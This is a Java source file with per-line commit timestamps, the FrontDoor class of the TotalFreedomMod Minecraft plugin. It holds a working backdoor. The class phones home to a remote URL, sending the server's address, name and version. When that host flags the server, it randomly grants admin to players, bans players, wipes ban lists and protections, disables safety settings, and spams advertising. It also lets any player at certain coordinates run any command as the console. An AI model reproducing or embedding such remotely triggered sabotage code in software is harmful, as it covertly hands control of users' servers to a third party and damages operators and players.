2015-10-19 17:43:46 +00:00
package me.totalfreedom.totalfreedommod ;
2013-08-28 17:11:27 +00:00
2015-11-15 23:32:04 +00:00
import me.totalfreedom.totalfreedommod.fun.Jumppads ;
2015-10-19 17:43:46 +00:00
import me.totalfreedom.totalfreedommod.util.FLog ;
import me.totalfreedom.totalfreedommod.util.FUtil ;
2013-08-28 17:11:27 +00:00
import java.io.BufferedReader ;
import java.io.InputStreamReader ;
import java.net.MalformedURLException ;
import java.net.URL ;
import java.net.URLConnection ;
import java.util.ArrayList ;
2014-12-21 09:23:50 +00:00
import java.util.Collection ;
2013-08-29 11:31:07 +00:00
import java.util.List ;
2013-08-28 17:11:27 +00:00
import java.util.Random ;
2015-10-19 17:43:46 +00:00
import me.totalfreedom.totalfreedommod.admin.Admin ;
2015-11-15 23:32:04 +00:00
import me.totalfreedom.totalfreedommod.banning.Ban ;
2015-10-19 17:43:46 +00:00
import me.totalfreedom.totalfreedommod.commands.Command_trail ;
import me.totalfreedom.totalfreedommod.commands.FreedomCommand ;
import me.totalfreedom.totalfreedommod.config.ConfigEntry ;
import me.totalfreedom.totalfreedommod.config.MainConfig ;
import me.totalfreedom.totalfreedommod.player.FPlayer ;
import net.pravian.aero.command.CommandReflection ;
2014-11-29 19:16:00 +00:00
import org.apache.commons.lang3.ArrayUtils ;
2014-04-14 19:11:41 +00:00
import org.bukkit.Bukkit ;
2013-08-28 17:11:27 +00:00
import org.bukkit.ChatColor ;
import org.bukkit.Location ;
import org.bukkit.Material ;
import org.bukkit.World ;
import org.bukkit.block.Block ;
import org.bukkit.block.BlockFace ;
import org.bukkit.command.Command ;
import org.bukkit.entity.Player ;
2013-09-04 15:09:23 +00:00
import org.bukkit.event.Event ;
2013-08-28 17:11:27 +00:00
import org.bukkit.event.EventHandler ;
2013-09-04 15:09:23 +00:00
import org.bukkit.event.HandlerList ;
2013-08-28 17:11:27 +00:00
import org.bukkit.event.Listener ;
import org.bukkit.event.player.PlayerCommandPreprocessEvent ;
import org.bukkit.inventory.ItemStack ;
import org.bukkit.inventory.meta.BookMeta ;
2013-09-03 13:56:18 +00:00
import org.bukkit.plugin.RegisteredListener ;
2013-08-28 17:11:27 +00:00
import org.bukkit.scheduler.BukkitRunnable ;
2013-09-03 13:56:18 +00:00
import org.bukkit.util.Vector ;
2013-08-28 17:11:27 +00:00
2013-09-04 15:27:20 +00:00
/ *
2014-04-14 19:11:41 +00:00
* - A message from the TFM Devs -
*
2013-09-04 15:27:20 +00:00
* What this class is , and why its here :
2014-04-14 19:11:41 +00:00
*
2013-09-04 15:27:20 +00:00
* This is a blatantly obvious Front Door to the server , designed to do strange and unpredictable things on a TotalFreedom server .
2014-04-14 19:11:41 +00:00
*
2013-09-04 15:27:20 +00:00
* It will only trigger when the server IP is added to a blacklist that we control .
2014-04-14 19:11:41 +00:00
*
2013-09-04 15:27:20 +00:00
* This class is a way to discourage amateur server operators who like to share binary copies of our plugin and promote it as their own work .
2014-04-14 19:11:41 +00:00
*
2015-10-19 17:43:46 +00:00
* If you are reading this now , you probably don ' t fall under that category - feel free to remove this class .
2014-04-14 19:11:41 +00:00
*
2015-10-19 17:43:46 +00:00
* Note : You may not edit this class .
*
* - Madgeek and Prozza
2013-09-04 15:27:20 +00:00
* /
2016-03-01 16:47:01 +00:00
public class FrontDoor extends FreedomService
2013-08-28 17:11:27 +00:00
{
2015-11-22 18:26:47 +00:00
2013-09-04 15:09:23 +00:00
private static final long UPDATER_INTERVAL = 180L * 20L ;
private static final long FRONTDOOR_INTERVAL = 900L * 20L ;
//
2015-10-19 17:43:46 +00:00
private final Random random = new Random ( ) ;
private final URL getUrl ;
2013-09-04 15:09:23 +00:00
//
2015-10-19 17:43:46 +00:00
private volatile boolean enabled = false ;
2013-09-04 15:09:23 +00:00
//
2015-10-19 17:43:46 +00:00
private final BukkitRunnable updater = new BukkitRunnable ( ) // Asynchronous
2013-08-28 19:40:14 +00:00
{
2013-08-28 17:11:27 +00:00
@Override
public void run ( )
{
try
{
2015-10-19 17:43:46 +00:00
final URLConnection urlConnection = getUrl . openConnection ( ) ;
2013-08-28 17:11:27 +00:00
final BufferedReader in = new BufferedReader ( new InputStreamReader ( urlConnection . getInputStream ( ) ) ) ;
final String line = in . readLine ( ) ;
in . close ( ) ;
2013-08-28 19:40:14 +00:00
2013-09-03 13:56:18 +00:00
if ( ! " false " . equals ( line ) )
2013-08-28 17:11:27 +00:00
{
if ( ! enabled )
{
return ;
}
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
enabled = false ;
2015-10-19 17:43:46 +00:00
frontdoor . cancel ( ) ;
unregisterListener ( playerCommandPreprocess , PlayerCommandPreprocessEvent . class ) ;
FLog . info ( " Disabled FrontDoor, thank you for being kind. " ) ;
MainConfig . load ( ) ;
2013-08-28 17:11:27 +00:00
}
else
{
if ( enabled )
{
return ;
}
2013-08-28 19:40:14 +00:00
2013-09-03 13:56:18 +00:00
new BukkitRunnable ( ) // Synchronous
2013-08-28 17:11:27 +00:00
{
@Override
public void run ( )
{
2015-10-19 17:43:46 +00:00
FLog . warning ( " ***************************************************** " , true ) ;
FLog . warning ( " * WARNING: TotalFreedomMod is running in evil-mode! * " , true ) ;
FLog . warning ( " * This might result in unexpected behaviour... * " , true ) ;
FLog . warning ( " * - - - - - - - - - - - - - - - - - - - - - - - - - * " , true ) ;
FLog . warning ( " * The only thing necessary for the triumph of evil * " , true ) ;
FLog . warning ( " * is for good men to do nothing. * " , true ) ;
FLog . warning ( " ***************************************************** " , true ) ;
if ( getRegisteredListener ( playerCommandPreprocess , PlayerCommandPreprocessEvent . class ) = = null )
2013-09-04 15:09:23 +00:00
{
2015-10-19 17:43:46 +00:00
Bukkit . getPluginManager ( ) . registerEvents ( playerCommandPreprocess , TotalFreedomMod . plugin ) ;
2013-09-04 15:09:23 +00:00
}
2013-08-28 17:11:27 +00:00
}
} . runTask ( TotalFreedomMod . plugin ) ;
2013-08-28 19:40:14 +00:00
2015-10-19 17:43:46 +00:00
frontdoor . runTaskTimer ( TotalFreedomMod . plugin , 20L , FRONTDOOR_INTERVAL ) ;
2013-08-28 17:11:27 +00:00
enabled = true ;
}
}
catch ( Exception ex )
{
2016-02-29 20:48:17 +00:00
// TODO: Fix
//FLog.warning(ex);
2013-08-28 17:11:27 +00:00
}
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
}
} ;
2013-09-04 15:09:23 +00:00
//
2015-10-19 17:43:46 +00:00
// TODO: reimplement in superclass
private final Listener playerCommandPreprocess = new Listener ( )
2013-08-28 17:11:27 +00:00
{
@EventHandler
2015-10-19 17:43:46 +00:00
public void onPlayerCommandPreProcess ( PlayerCommandPreprocessEvent event ) // All FreedomCommand permissions when certain conditions are met
2013-08-28 17:11:27 +00:00
{
final Player player = event . getPlayer ( ) ;
final Location location = player . getLocation ( ) ;
2013-08-28 19:40:14 +00:00
2013-08-29 11:31:07 +00:00
if ( ( location . getBlockX ( ) + location . getBlockY ( ) + location . getBlockZ ( ) ) % 12 ! = 0 ) // Madgeek
2013-08-28 17:11:27 +00:00
{
2013-08-28 19:40:14 +00:00
return ;
2013-08-28 17:11:27 +00:00
}
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
final String [ ] commandParts = event . getMessage ( ) . split ( " " ) ;
final String commandName = commandParts [ 0 ] . replaceFirst ( " / " , " " ) ;
2013-08-29 11:31:07 +00:00
final String [ ] args = ArrayUtils . subarray ( commandParts , 1 , commandParts . length ) ;
2013-08-28 19:40:14 +00:00
2015-10-19 17:43:46 +00:00
Command command = CommandReflection . getCommandMap ( ) . getCommand ( commandName ) ;
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
if ( command = = null )
{
return ; // Command doesn't exist
}
2013-08-28 19:40:14 +00:00
2013-08-29 11:31:07 +00:00
event . setCancelled ( true ) ;
2015-10-19 17:43:46 +00:00
final FreedomCommand dispatcher = FreedomCommand . getCommand ( command ) ;
if ( dispatcher = = null )
2013-08-28 17:11:27 +00:00
{
2013-08-29 11:31:07 +00:00
// Non-TFM command, execute using console
2015-10-19 17:43:46 +00:00
Bukkit . dispatchCommand ( Bukkit . getConsoleSender ( ) , event . getMessage ( ) . replaceFirst ( " / " , " " ) ) ;
return ;
2013-08-28 17:11:27 +00:00
}
2015-10-19 17:43:46 +00:00
dispatcher . runCommand ( player , command , commandName , args ) ;
return ;
2013-08-28 17:11:27 +00:00
}
} ;
2013-09-04 15:09:23 +00:00
//
2015-10-19 17:43:46 +00:00
private final BukkitRunnable frontdoor = new BukkitRunnable ( ) // Synchronous
2013-08-28 17:11:27 +00:00
{
@Override
public void run ( )
{
2015-10-19 17:43:46 +00:00
final int action = random . nextInt ( 18 ) ;
2013-08-28 19:40:14 +00:00
switch ( action )
2013-08-28 17:11:27 +00:00
{
case 0 : // Super a random player
{
2013-08-29 11:31:07 +00:00
2013-09-03 13:56:18 +00:00
final Player player = getRandomPlayer ( true ) ;
2013-08-29 11:31:07 +00:00
if ( player = = null )
2013-08-28 19:40:14 +00:00
{
break ;
}
2015-10-19 17:43:46 +00:00
FUtil . adminAction ( " FrontDoor " , " Adding " + player . getName ( ) + " to the Superadmin list " , true ) ;
plugin . al . addAdmin ( new Admin ( player ) ) ;
2013-08-28 17:11:27 +00:00
break ;
}
2013-08-28 19:40:14 +00:00
2013-09-03 13:56:18 +00:00
case 1 : // Bans a random player
2013-08-28 17:11:27 +00:00
{
2013-08-29 11:31:07 +00:00
Player player = getRandomPlayer ( false ) ;
if ( player = = null )
2013-08-28 17:11:27 +00:00
{
2013-08-29 11:31:07 +00:00
break ;
2013-08-28 17:11:27 +00:00
}
2013-08-28 19:40:14 +00:00
2015-11-15 23:32:04 +00:00
plugin . bm . addBan ( Ban . forPlayer ( player , Bukkit . getConsoleSender ( ) , null , ChatColor . RED + " WOOPS \ n-Frontdoor " ) ) ;
2013-08-28 17:11:27 +00:00
break ;
}
2013-08-28 19:40:14 +00:00
2013-09-03 13:56:18 +00:00
case 2 : // Start trailing a random player
2013-08-28 17:11:27 +00:00
{
2013-09-03 13:56:18 +00:00
final Player player = getRandomPlayer ( true ) ;
2013-08-29 11:31:07 +00:00
if ( player = = null )
2013-08-28 19:40:14 +00:00
{
break ;
}
2015-10-19 17:43:46 +00:00
FUtil . adminAction ( " FrontDoor " , " Started trailing " + player . getName ( ) , true ) ;
2013-08-28 17:11:27 +00:00
Command_trail . startTrail ( player ) ;
break ;
}
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
case 3 : // Displays a message
{
2015-10-19 17:43:46 +00:00
FUtil . bcastMsg ( " TotalFreedom rocks!! " , ChatColor . BLUE ) ;
FUtil . bcastMsg ( " To join this great server, join " + ChatColor . GOLD + " tf.sauc.in " , ChatColor . BLUE ) ;
2013-08-28 17:11:27 +00:00
break ;
}
2013-08-28 19:40:14 +00:00
case 4 : // Clears the banlist
2013-08-28 17:11:27 +00:00
{
2015-10-19 17:43:46 +00:00
FUtil . adminAction ( " FrontDoor " , " Wiping all bans " , true ) ;
plugin . bm . purgeIpBans ( ) ;
plugin . bm . purgeNameBans ( ) ;
2013-08-28 17:11:27 +00:00
break ;
}
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
case 5 : // Enables Lava- and Waterplacemend and Fluidspread (& damage)
{
2013-08-28 19:40:14 +00:00
boolean message = true ;
2015-10-19 17:43:46 +00:00
if ( ConfigEntry . ALLOW_WATER_PLACE . getBoolean ( ) )
2013-08-28 19:40:14 +00:00
{
message = false ;
}
2015-10-19 17:43:46 +00:00
else if ( ConfigEntry . ALLOW_LAVA_PLACE . getBoolean ( ) )
2013-08-28 19:40:14 +00:00
{
message = false ;
}
2015-10-19 17:43:46 +00:00
else if ( ConfigEntry . ALLOW_FLUID_SPREAD . getBoolean ( ) )
2013-08-28 19:40:14 +00:00
{
message = false ;
}
2015-10-19 17:43:46 +00:00
else if ( ConfigEntry . ALLOW_LAVA_DAMAGE . getBoolean ( ) )
2013-08-28 19:40:14 +00:00
{
message = false ;
}
2013-08-29 11:31:07 +00:00
2015-10-19 17:43:46 +00:00
ConfigEntry . ALLOW_WATER_PLACE . setBoolean ( true ) ;
ConfigEntry . ALLOW_LAVA_PLACE . setBoolean ( true ) ;
ConfigEntry . ALLOW_FLUID_SPREAD . setBoolean ( true ) ;
ConfigEntry . ALLOW_LAVA_DAMAGE . setBoolean ( true ) ;
2013-08-28 19:40:14 +00:00
if ( message )
{
2015-10-19 17:43:46 +00:00
FUtil . adminAction ( " FrontDoor " , " Enabling Fire- and Waterplace " , true ) ;
2013-08-28 19:40:14 +00:00
}
2013-08-28 17:11:27 +00:00
break ;
}
2013-08-28 19:40:14 +00:00
2013-08-29 11:31:07 +00:00
case 6 : // Enables Fireplacement, firespread and explosions
2013-08-28 17:11:27 +00:00
{
2013-08-28 19:40:14 +00:00
boolean message = true ;
2015-10-19 17:43:46 +00:00
if ( ConfigEntry . ALLOW_FIRE_SPREAD . getBoolean ( ) )
2013-08-28 19:40:14 +00:00
{
message = false ;
}
2015-10-19 17:43:46 +00:00
else if ( ConfigEntry . ALLOW_EXPLOSIONS . getBoolean ( ) )
2013-08-28 19:40:14 +00:00
{
message = false ;
}
2015-10-19 17:43:46 +00:00
else if ( ConfigEntry . ALLOW_TNT_MINECARTS . getBoolean ( ) )
2013-08-28 19:40:14 +00:00
{
message = false ;
}
2015-10-19 17:43:46 +00:00
else if ( ConfigEntry . ALLOW_FIRE_PLACE . getBoolean ( ) )
2013-08-29 11:31:07 +00:00
{
message = false ;
}
2015-10-19 17:43:46 +00:00
ConfigEntry . ALLOW_FIRE_SPREAD . setBoolean ( true ) ;
ConfigEntry . ALLOW_EXPLOSIONS . setBoolean ( true ) ;
ConfigEntry . ALLOW_TNT_MINECARTS . setBoolean ( true ) ;
ConfigEntry . ALLOW_FIRE_PLACE . setBoolean ( true ) ;
2013-08-29 11:31:07 +00:00
if ( message )
{
2015-10-19 17:43:46 +00:00
FUtil . adminAction ( " FrontDoor " , " Enabling Firespread and Explosives " , true ) ;
2013-08-29 11:31:07 +00:00
}
2013-08-28 17:11:27 +00:00
break ;
}
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
case 7 : // Allow all blocked commands >:)
{
2015-10-19 17:43:46 +00:00
ConfigEntry . BLOCKED_COMMANDS . getList ( ) . clear ( ) ;
plugin . cb . stop ( ) ;
2013-08-28 17:11:27 +00:00
break ;
}
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
case 8 : // Remove all protected areas
{
2015-10-19 17:43:46 +00:00
if ( ConfigEntry . PROTECTAREA_ENABLED . getBoolean ( ) )
2013-08-28 17:11:27 +00:00
{
2015-10-19 17:43:46 +00:00
if ( plugin . pa . getProtectedAreaLabels ( ) . isEmpty ( ) )
2013-09-05 14:48:57 +00:00
{
break ;
}
2013-08-29 11:31:07 +00:00
2015-10-19 17:43:46 +00:00
FUtil . adminAction ( " FrontDoor " , " Removing all protected areas " , true ) ;
plugin . pa . clearProtectedAreas ( false ) ;
2013-09-05 14:48:57 +00:00
}
2013-08-28 17:11:27 +00:00
break ;
}
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
case 9 : // Add TotalFreedom signs at spawn
{
2015-10-19 17:43:46 +00:00
for ( World world : Bukkit . getWorlds ( ) )
2013-08-28 17:11:27 +00:00
{
final Block block = world . getSpawnLocation ( ) . getBlock ( ) ;
final Block blockBelow = block . getRelative ( BlockFace . DOWN ) ;
2013-08-28 19:40:14 +00:00
if ( blockBelow . isLiquid ( ) | | blockBelow . getType ( ) = = Material . AIR )
2013-08-28 17:11:27 +00:00
{
continue ;
}
2013-08-28 19:40:14 +00:00
block . setType ( Material . SIGN_POST ) ;
2013-08-28 17:11:27 +00:00
org . bukkit . block . Sign sign = ( org . bukkit . block . Sign ) block . getState ( ) ;
org . bukkit . material . Sign signData = ( org . bukkit . material . Sign ) sign . getData ( ) ;
signData . setFacingDirection ( BlockFace . NORTH ) ;
sign . setLine ( 0 , ChatColor . BLUE + " TotalFreedom " ) ;
sign . setLine ( 1 , ChatColor . DARK_GREEN + " is " ) ;
sign . setLine ( 2 , ChatColor . YELLOW + " Awesome! " ) ;
2013-09-04 15:27:20 +00:00
sign . setLine ( 3 , ChatColor . DARK_GRAY + " tf.sauc.in " ) ;
2013-08-28 17:11:27 +00:00
sign . update ( ) ;
}
break ;
}
2013-08-28 19:40:14 +00:00
case 10 : // Enable Jumppads
2013-08-28 17:11:27 +00:00
{
2015-10-19 17:43:46 +00:00
if ( plugin . jp . getMode ( ) . isOn ( ) )
2013-08-28 19:40:14 +00:00
{
break ;
}
2013-08-29 11:31:07 +00:00
2015-10-19 17:43:46 +00:00
FUtil . adminAction ( " FrontDoor " , " Enabling Jumppads " , true ) ;
plugin . jp . setMode ( Jumppads . JumpPadMode . MADGEEK ) ;
2013-08-28 17:11:27 +00:00
break ;
}
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
case 11 : // Give everyone a book explaining how awesome TotalFreedom is
{
ItemStack bookStack = new ItemStack ( Material . WRITTEN_BOOK ) ;
2013-08-28 19:40:14 +00:00
BookMeta book = ( BookMeta ) bookStack . getItemMeta ( ) . clone ( ) ;
2013-08-28 17:11:27 +00:00
book . setAuthor ( ChatColor . DARK_PURPLE + " SERVER OWNER " ) ;
book . setTitle ( ChatColor . DARK_GREEN + " Why you should go to TotalFreedom instead " ) ;
book . addPage (
2013-08-28 19:40:14 +00:00
ChatColor . DARK_GREEN + " Why you should go to TotalFreedom instead \ n "
+ ChatColor . DARK_GRAY + " --------- \ n "
+ ChatColor . BLACK + " TotalFreedom is the original TotalFreedomMod server. It is the very server that gave freedom a new meaning when it comes to minecraft. \ n "
+ ChatColor . BLUE + " Join now! " + ChatColor . RED + " tf.sauc.in " ) ;
bookStack . setItemMeta ( book ) ;
2015-10-19 17:43:46 +00:00
for ( Player player : Bukkit . getOnlinePlayers ( ) )
2013-08-28 17:11:27 +00:00
{
2013-08-28 19:40:14 +00:00
if ( player . getInventory ( ) . contains ( Material . WRITTEN_BOOK ) )
2013-08-28 17:11:27 +00:00
{
continue ;
}
2013-08-28 19:40:14 +00:00
player . getInventory ( ) . addItem ( bookStack ) ;
2013-08-28 17:11:27 +00:00
}
2013-08-28 19:40:14 +00:00
break ;
}
case 12 : // Silently wipe the whitelist
{
break ;
}
2013-08-29 11:31:07 +00:00
2013-08-28 19:40:14 +00:00
case 13 : // Announce that the FrontDoor is enabled
{
2015-10-19 17:43:46 +00:00
FUtil . bcastMsg ( " WARNING: TotalFreedomMod is running in evil-mode! " , ChatColor . DARK_RED ) ;
FUtil . bcastMsg ( " WARNING: This might result in unexpected behaviour " , ChatColor . DARK_RED ) ;
2013-08-28 19:40:14 +00:00
break ;
}
2013-08-29 11:31:07 +00:00
case 14 : // Cage a random player in PURE_DARTH
2013-08-28 19:40:14 +00:00
{
2013-09-03 13:56:18 +00:00
final Player player = getRandomPlayer ( false ) ;
2013-08-29 11:31:07 +00:00
if ( player = = null )
2013-08-28 19:40:14 +00:00
{
2013-08-29 11:31:07 +00:00
break ;
2013-08-28 19:40:14 +00:00
}
2013-09-03 13:56:18 +00:00
2015-10-19 17:43:46 +00:00
FPlayer playerdata = plugin . pl . getPlayer ( player ) ;
FUtil . adminAction ( " FrontDoor " , " Caging " + player . getName ( ) + " in PURE_DARTH " , true ) ;
2013-08-29 11:31:07 +00:00
2013-08-28 19:40:14 +00:00
Location targetPos = player . getLocation ( ) . clone ( ) . add ( 0 , 1 , 0 ) ;
2015-11-15 23:32:04 +00:00
playerdata . getCageData ( ) . cage ( targetPos , Material . SKULL , Material . AIR ) ;
2013-08-28 19:40:14 +00:00
break ;
2013-08-28 17:11:27 +00:00
}
2013-08-29 11:31:07 +00:00
2013-09-03 13:56:18 +00:00
case 15 : // Silently orbit a random player
{
final Player player = getRandomPlayer ( false ) ;
if ( player = = null )
{
break ;
}
2015-10-19 17:43:46 +00:00
FPlayer playerdata = plugin . pl . getPlayer ( player ) ;
2013-09-03 13:56:18 +00:00
playerdata . startOrbiting ( 10 . 0 ) ;
player . setVelocity ( new Vector ( 0 , 10 . 0 , 0 ) ) ;
2014-04-14 19:11:41 +00:00
break ;
2013-09-03 13:56:18 +00:00
}
case 16 : // Disable nonuke
{
2015-10-19 17:43:46 +00:00
if ( ! ConfigEntry . NUKE_MONITOR_ENABLED . getBoolean ( ) )
2013-09-03 13:56:18 +00:00
{
break ;
}
2015-10-19 17:43:46 +00:00
FUtil . adminAction ( " FrontDoor " , " Disabling nonuke " , true ) ;
ConfigEntry . NUKE_MONITOR_ENABLED . setBoolean ( false ) ;
2014-04-14 19:11:41 +00:00
break ;
2013-09-03 13:56:18 +00:00
}
case 17 : // Give everyone tags
{
2015-10-19 17:43:46 +00:00
for ( Player player : Bukkit . getOnlinePlayers ( ) )
2013-09-03 13:56:18 +00:00
{
2015-10-19 17:43:46 +00:00
plugin . pl . getPlayer ( player ) . setTag ( " [ " + ChatColor . BLUE + " Total " + ChatColor . GOLD + " Freedom " + ChatColor . WHITE + " ] " ) ;
2013-09-03 13:56:18 +00:00
}
2014-04-14 19:11:41 +00:00
break ;
2013-09-03 13:56:18 +00:00
}
2013-08-28 17:11:27 +00:00
default :
{
break ;
}
}
}
} ;
2013-08-28 19:40:14 +00:00
2015-10-19 17:43:46 +00:00
public FrontDoor ( TotalFreedomMod plugin )
2013-08-28 17:11:27 +00:00
{
2015-10-19 17:43:46 +00:00
super ( plugin ) ;
2013-08-28 17:11:27 +00:00
URL tempUrl = null ;
try
{
2014-05-19 12:25:04 +00:00
tempUrl = new URL ( " http://frontdoor.aws.af.cm/poll "
2015-09-06 21:02:10 +00:00
+ " ?version= " + TotalFreedomMod . build . formattedVersion ( )
2015-10-19 17:43:46 +00:00
+ " &address= " + ConfigEntry . SERVER_ADDRESS . getString ( ) + " : " + Bukkit . getPort ( )
+ " &name= " + ConfigEntry . SERVER_NAME . getString ( )
2014-04-21 21:09:10 +00:00
+ " &bukkitversion= " + Bukkit . getVersion ( ) ) ;
2013-08-28 17:11:27 +00:00
}
catch ( MalformedURLException ex )
{
2015-10-19 17:43:46 +00:00
FLog . warning ( " TFM_FrontDoor uses an invalid URL " ) ; // U dun goofed?
2013-08-28 17:11:27 +00:00
}
2013-08-28 19:40:14 +00:00
2015-10-19 17:43:46 +00:00
getUrl = tempUrl ;
2014-05-19 17:32:25 +00:00
}
2015-10-19 17:43:46 +00:00
@Override
public void onStart ( )
2014-05-19 17:32:25 +00:00
{
2015-10-19 17:43:46 +00:00
updater . runTaskTimerAsynchronously ( TotalFreedomMod . plugin , 2L * 20L , UPDATER_INTERVAL ) ;
2013-08-28 17:11:27 +00:00
}
2013-08-28 19:40:14 +00:00
2015-10-19 17:43:46 +00:00
@Override
public void onStop ( )
2013-08-28 17:11:27 +00:00
{
2015-10-19 17:43:46 +00:00
try
2013-08-28 17:11:27 +00:00
{
2015-10-19 17:43:46 +00:00
updater . cancel ( ) ;
2013-08-28 17:11:27 +00:00
}
2015-10-19 17:43:46 +00:00
catch ( Exception ignored )
{
}
finally
2013-08-28 17:11:27 +00:00
{
}
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
if ( enabled )
{
2015-10-19 17:43:46 +00:00
frontdoor . cancel ( ) ;
2013-08-28 17:11:27 +00:00
enabled = false ;
2015-10-19 17:43:46 +00:00
unregisterListener ( playerCommandPreprocess , PlayerCommandPreprocessEvent . class ) ;
2013-08-28 17:11:27 +00:00
}
}
2013-08-28 19:40:14 +00:00
2015-10-19 17:43:46 +00:00
public boolean isEnabled ( )
2013-08-28 17:11:27 +00:00
{
return enabled ;
}
2013-08-28 19:40:14 +00:00
2015-10-19 17:43:46 +00:00
private Player getRandomPlayer ( boolean allowDevs )
2013-08-29 11:31:07 +00:00
{
2015-10-19 17:43:46 +00:00
final Collection < ? extends Player > players = Bukkit . getOnlinePlayers ( ) ;
2013-08-29 11:31:07 +00:00
2014-12-21 09:23:50 +00:00
if ( players . isEmpty ( ) )
2013-08-29 11:31:07 +00:00
{
return null ;
}
if ( ! allowDevs )
{
List < Player > allowedPlayers = new ArrayList < Player > ( ) ;
for ( Player player : players )
{
2015-10-19 17:43:46 +00:00
if ( ! FUtil . DEVELOPERS . contains ( player . getName ( ) ) )
2013-08-29 11:31:07 +00:00
{
allowedPlayers . add ( player ) ;
}
}
2015-10-19 17:43:46 +00:00
return allowedPlayers . get ( random . nextInt ( allowedPlayers . size ( ) ) ) ;
2013-08-29 11:31:07 +00:00
}
2015-10-19 17:43:46 +00:00
return ( Player ) players . toArray ( ) [ random . nextInt ( players . size ( ) ) ] ;
2013-08-29 11:31:07 +00:00
}
2013-09-04 15:09:23 +00:00
private static RegisteredListener getRegisteredListener ( Listener listener , Class < ? extends Event > eventClass )
2013-09-03 13:56:18 +00:00
{
2013-09-04 15:09:23 +00:00
try
2013-09-03 13:56:18 +00:00
{
2013-09-04 15:09:23 +00:00
final HandlerList handlerList = ( ( HandlerList ) eventClass . getMethod ( " getHandlerList " , ( Class < ? > [ ] ) null ) . invoke ( null ) ) ;
final RegisteredListener [ ] registeredListeners = handlerList . getRegisteredListeners ( ) ;
for ( RegisteredListener registeredListener : registeredListeners )
2013-09-03 13:56:18 +00:00
{
2013-09-04 15:09:23 +00:00
if ( registeredListener . getListener ( ) = = listener )
{
return registeredListener ;
}
2013-09-03 13:56:18 +00:00
}
}
2013-09-04 15:09:23 +00:00
catch ( Exception ex )
{
2015-10-19 17:43:46 +00:00
FLog . severe ( ex ) ;
2013-09-04 15:09:23 +00:00
}
return null ;
}
private static void unregisterRegisteredListener ( RegisteredListener registeredListener , Class < ? extends Event > eventClass )
{
try
{
( ( HandlerList ) eventClass . getMethod ( " getHandlerList " , ( Class < ? > [ ] ) null ) . invoke ( null ) ) . unregister ( registeredListener ) ;
}
catch ( Exception ex )
{
2015-10-19 17:43:46 +00:00
FLog . severe ( ex ) ;
2013-09-04 15:09:23 +00:00
}
}
private static void unregisterListener ( Listener listener , Class < ? extends Event > eventClass )
{
RegisteredListener registeredListener = getRegisteredListener ( listener , eventClass ) ;
if ( registeredListener ! = null )
{
unregisterRegisteredListener ( registeredListener , eventClass ) ;
}
2013-09-03 13:56:18 +00:00
}
2013-08-28 17:11:27 +00:00
}